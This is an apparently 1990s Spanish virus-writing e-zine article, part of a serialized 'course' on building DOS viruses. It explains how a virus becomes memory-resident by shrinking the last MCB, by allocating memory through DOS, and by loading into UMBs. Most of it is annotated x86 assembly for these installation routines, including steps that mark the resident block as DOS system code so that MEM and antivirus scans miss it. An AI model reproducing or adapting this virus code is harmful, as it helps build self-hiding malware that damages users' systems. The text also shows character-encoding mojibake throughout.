ε TÉCNICAS VIRICAS ε ---------------- Cuando yo empecé esta sección, pensaba dedicarla a aquellas técnicas de virus poco frecuentes (tales como stealth, encriptado, polimorfismo, etc.). Pero parece ser que, poco a poco, y a petición popular, va a ser como una es- pecie de curso de hacer virus. No pretendo hacerla así, pero como me han pedi- do que explique los métodos de instalación en memoria de los virus, pues voy a hacerlo. Seguramente, cuando acabemos con esta sección de aquí muchos números (espero) ya sabréis cómo es un virus totalmente. Bueno, basta de charla y vamos a la clase :). Ah, por cierto, si leeis alguna animalada o algo que no concuer- de es porque estoy escribiendo esto mientras escucho The Offspring, así que puede que me raye en algún momento y escriba cosas que no concordaban con las otras (porque estoy atendiendo casi más a la música que a esto :). Hay varias formas de quedarse en memoria para un virus. El método que se ha hecho "standard" de residencia es el método de los δMCBsπ, que paso a ex- plicar a continuación: Un δMCBπ, o δMemory Control Blockπ, es la cabecera que el DOS pone a cada bloque que se reserva en memoria, donde pone los datos necesarios para que el el bloque no sea sobreescrito en memoria por otra petición de reserva y los datos para liberarla correctamente al terminar. La estructura de un MCB es la siguiente: Ω +00h:Γ Identificación. 'Z' si es el último MCB en memoria, y 'M' si le si- Γguen más. Ω +01h:Γ Segmento del PSP al que pertenece el MCB. Ω +03h:Γ Número de párrafos de memoria alojada en este bloque Ω +05h hasta +10h:Γ No se usa Podemos obtener el segmento del MCB habremos de decrementar en 1 el segmento del δPSPπ del programa. En un COM, el δPSPπ se encuentra desde 0 hasta 100h, y por eso un COM siempre empieza en la dirección 100h. En un EXE, el PSP estará en DS y ES. Entonces, para obtener el MCB sólo tenemos que coger ES (ya que en un COM también está en ES - al arrancar un COM, ES=CS) y φrestarle 1π. En ES ahora tendremos el segmento del MCB asociado al programa portador del virus. Lo que realmente interesa es la dirección δ+03hπ. En teoría, el virus lo que ha de hacer es restar el tamaño de memoria que quiere "reservar" al tamaño en +03h, de manera que cuando el DOS vaya a liberar la memoria del bloque, li- bere todo menos la memoria tomada por el virus, de manera que ésta se queda co- mo si la hubiera reservado. Pero esto no acaba ahí, ya que no sabríamos qué segmento ocupar. τ* Antes de nada, un paréntesis. Hay que tener en cuenta que no podemos quitar τ memoria así a un MCB cualquiera, sino sólamente al último, es decir, cuando τ la identificación en +00h sea Z. Si es M, es mejor desistir, puesto que po- τ dríamos sobreescribir otro programa residente y colgar el sistema. * τ (seguimos) Para saber qué segmento ocupar, ya nos tenemos que meter en el PSP, que viene 16 bytes después del MCB. El PSP, o Program Segment Prefix, son 128 bytes que tienen información interesante. En teoría ocupa 256 bytes (100h), pero los siguientes 128 bytes los ocupa la línea de comandos (lo que le hemos puesto de- trás al programa al ejecutarlo, las opciones y todo eso). El formato del PSP es el siguiente: Ω+00h:Γ INT 20h ; Llamada a la int 20h. Al ejecutar un COM, en el stack Γ ; se guarda esta dirección, de manera que se puede ha- Γ ; cer RET para terminar un COM, en vez de MOV AH,4C/ Γ ; INT 21h Ω+02h:Γ Dirección final de la memoria ocupada por el programa. Ω+04h:Γ ??? Ω+05h:Γ CALL FAR a la interrupción 21h Ω+0Ah:Γ Copia del vector de la interrupción 22h Ω+0Eh:Γ Copia del vector de la interrupción 23h Ω+12h:Γ Copia del vector de la interrupción 24h Ω+16h:Γ ??? Ω+2Ch:Γ Dirección de segmento del Environment-Block Ω+2Eh:Γ ??? Γ... De momento, las demás no importan para la instalación en memoria. Bien, imaginemos que en ES tenemos el segmento del MCB. Gracias a la estructura que INTEL dió a la memoria (un segmento cada 16 bytes, y por tanto, y por ejemplo, δ0000:0040 = 0001:0030 = 0002:0020π ...) para acceder al MCB no tendremos que au- mentar en 1 el segmento en ES de nuevo, sino que lo accedemos directamente de la siguiente manera. Lo que sigue es un trozo de código que podría estar en cualquier virus: δLongVirusP = Tamaño del virus en párrafos (1 párrafo=16 bytes) Ω MOV AX, ES Γ; Obtenemos en ES la dirección Ω DEC AX Γ; del MCB Ω MOV ES, AX Ω CMP BYTE PTR ES:[0000], 'Z' Γ; Miramos si es el último MCB Ω JNZ @@FinInstalacion Γ; Si no es, acabamos Ω CMP WORD PTR ES:[0003], LongVirusPΓ ; Miramos si tiene sufi- Γ; ciente memoria para Γ; alojar al virus Ω JB @@FinInstalacion Γ ; Si es menos de la que necesi- Γ ; ta, acaba y no se instala Ω SUB WORD PRT ES:[0003], LongVirusPΓ ; Restamos el tamaño de Γ; memoria que necesita- Γ; mos para quedarnos. Ω SUB WORD PTR ES:[0012h], LongVirusPΓ ; Restamos a la direc- Γ ; ción +02h del PSP el Γ ; tamaño del virus (aquí es Γ ; donde se encuentra el final Γ ; de la memoria ocupada por el Γ ; virus. Si restamos esto, no Γ ; liberará el tamaño restado Γ ; y a partir del número que Γ ; resulte aquí podremos meter Γ ; el virus sin peligro). Ω MOV ES, ES:[0012h] Γ ; Cogemos en ES el segmento que Γ ; hemos conseguido. Ω MOV SI, DeltaOffset Γ ; El Delta Offset es el inicio Γ ; del virus dentro del archi- Γ ; vo, que podemos conseguir de Γ ; diferentes maneras (una de Γ ; ellas es, nada más empezar, Γ ; hacer: Γ ; CALL @@Salto Γ ; @@Salto: POP SI Γ ; SUB SI,+03 Γ ; Si el virus empieza en la Γ ; dirección 410h dentro del Γ ; archivo infectado, por ejem- Γ ; plo, el Delta Offset será Γ ; 410h. Ω XOR DI, DI Γ ; DI = 0, ya que la zona reser- Γ ; vada empieza en ES:0000 Ω MOV CX, LongVirus Γ ; En CX la longitud del virus Γ ; en bytes Ω PUSH CS Γ ; DS = CS Ω POP DS Ω REP MOVSB Γ ; Copia el virus a ES:0000 Ω ... A partir de aquí ya sólo quedaría enganchar las interrupciones perti- nentes a la copia del virus en memoria (sin olvidar que ahora todos los offsets se refieren a 0000h). Muchos virus prefieren dejar el trabajo de obtener la memoria resultan- te al propio DOS, de la siguiente manera: Ω MOV AH, 48h Γ ; Se pide una zona de memoria Ω MOV BX, LongVirusP Γ ; para meter allí el virus Ω INT 21h Ω JC @@FinInstalacion Γ ; Esta función fallará si se Γ ; llama desde un COM o desde Γ ; un EXE que ocupe toda la me- Γ ; moria Ω DEC AX Γ ; Se le decrementa 1 al segmen- Ω MOV ES, AX Γ ; to devuelto en AX para obte- Γ ; ner en ES el segmento del MCB Γ ; de este bloque de memoria. Ω MOV WORD PTR [0001], 0008Γ ; Se le mete al PSP asociado Γ ; este valor para hacer creer Γ ; que es el DOS quien lo lleva, Γ ; y no un programa cualquiera. Γ ; Así en el MEM esto saldrá co- Γ ; mo código DOS. Ω INC AX Γ ; Incrementa AX para tener de Ω MOV ES, AX Γ ; nuevo el segmento original. En esta llamada está el inconveniente de que no se puede usar desde COMs, porque hay que liberar la memoria primero, y sería un desastre liberar la memoria no usada y después que el programa portador la volviera a liberar, porque liberaría también la del propio programa, consiguiendo únicamente que al hacer una reserva de memoria nos diera un segmento que sobreescribiera el programa en ejecución. Y existe una manera aún mejor de instalación: la instalación en UMBs. Muchos anti-virus no repasan este trozo de memoria si no se le indica expresa- mente, y muchos usuarios se olvidan de hacerlo. Es una manera más larga de ins- talarse, pero merece la pena. Tiene el inconveniente de que no resultará si en el CONFIG.SYS no están las cadena DOS=UMB, porque en ese caso no aceptará los UMBs para instalación de programas. Además, sólo se puede usar en versiones de DOS 5.0 y posteriores. El método es el siguiente: Ω MOV AX, 5800h Γ; Obtenemos la estrategia de obtención Ω INT 21h Γ; de memoria del DOS. Ω PUSH AX Γ; Lo guardamos. Ω MOV AX, 5801h Γ; Fijamos la estrategia de obtención y Ω MOV BX, 0080h Γ; le decimos que nos busque primero Ω INT 21h Γ; UMBs y después memoria convencional Γ ; (y no al revés como siempre está). Ω MOV AX, 5802h Γ ; Obtenemos si se utilizan UMBs o no Ω INT 21h Γ ; en la gestión de memoria. Ω JC @@SeAcabo1 Γ ; Si hay Carry Flag, los UMBs no están Γ ; disponibles. Ω PUSH AX Γ ; Guardamos la configuración actual. Ω MOV AX, 5803h Γ ; Decimos que tome en cuenta los UMBs Ω MOV BX, 0001 Γ ; en la gestión de memoria. Ω INT 21h Ω MOV AH, 48h Γ ; Pedimos memoria al DOS Ω MOV BX, LongVirusP Ω INT 21h Ω JC @@SeAcabo2 Γ ; Si hay error, acabamos Ω CMP AX, 0A000h Γ ; Comprobamos si el segmento que nos ha Γ ; reservado es un UMB Ω JNB @@Sigue Γ ; Si es, saltamos y seguimos Ω MOV ES, AX Γ ; Lo liberamos para que no se quede Ω MOV AH, 49h Γ ; reservado Ω INT 21h Ω STC Γ ; Ponemos Carry Flag a 1 Ω JMP @@SeAcabo2 Γ ; Saltamos Ω @@Sigue: DEC AX Γ ; Obtenemos el MCB del UMB, que es un Ω MOV ES, AX Γ ; poco diferente a uno normal Ω PUSH AX Γ ; Guardamos el segmento Ω MOV AX, 'CS' Γ ; A partir de +08h en estos MCBs se ha- Ω MOV DI, 0008h Γ ; lla el nombre del archivo que ocupa Ω STOSW Γ ; tal memoria. Ocupa 8 bytes. Si estos Ω XOR AX, AX Γ ; bytes contienen el nombre 'SC' (Sys- Ω STOSW Γ ; tem Code) el MEM se pensará que es Ω STOSW Γ ; un módulo de MS-DOS, y no lo hará Ω STOSW Γ ; figurar en la lista de programas en Γ ; memoria, o sea, que será como si no Γ ; estuviera. Ω POP AX Γ ; Recuperamos el segmento. Ω INC AX Γ ; Incrementamos lo que habíamos decre- Γ ; mentado. Ω MOV ES, AX Γ ; Lo ponemos en ES. Ω MOV SI, DeltaOffsetΓ ; Claro, ¿no? Ω XOR DI, DI Γ ; DI = 0. Ω MOV CX, LongVirus Γ ; En CX la longitud del virus en bytes. Ω PUSH CS Ω POP DS Γ ; DS=CS. Ω REP MOVSB Γ ; Copiamos el virus al segmento. Ω CLC Γ ; Borramos el Carry Flag para indicar Γ ; una instalación con éxito. Ω @@SeAcabo2: POP BX Γ ; Sacamos lo que guardamos en el stack Γ ; por segunda vez antes. Ω PUSHF Γ ; Guardamos las banderas. Ω MOV AX, 5803h Γ ; Volvemos a poner la estrategia que Ω XOR BH, BH Γ ; había antes. Ω INT 21h Ω POPF Γ ; Sacamos las banderas. Ω @@SeAcabo1: POP BX Γ ; Sacamos lo guardado en el stack Ω PUSHF Γ ; Guardamos las banderas (esto es por Γ ; si salta aquí directamente si pasar Γ ; por @@SeAcabo2. Además, nos guarda Γ ; el Carry Flag). Ω MOV AX, 5801h Γ ; Pone los valores anteriores al cam- Ω INT 21h Γ ; bio. Ω POPF Γ ; Sacamos las banderas. Ω JNC @@EnganchaInt21hΓ ; Si no ha habido error en ningún mo- Γ ; mento de la instalación en UMBs, aca- Γ ; ba con lo de la memoria y salta al Γ ; parcheo de la inerrupción 21h. En ES Γ ; estará la dirección donde está el vi- Γ ; rus. Ω ** Instalacion por MCBs ** Γ ; Si ha habido error, se instala como Γ ; es habitual. Ω@@EnganchaInt21h: ... Bueno, y creo que ya ha sido bastante. En este me he estirado, ¿eh? Es- pero que os sirva de algo. Para el próximo número enseñaré cómo un virus infec- ta un archivo EXE (también por petición popular). Os espero. ∞ Líyak el Oscuro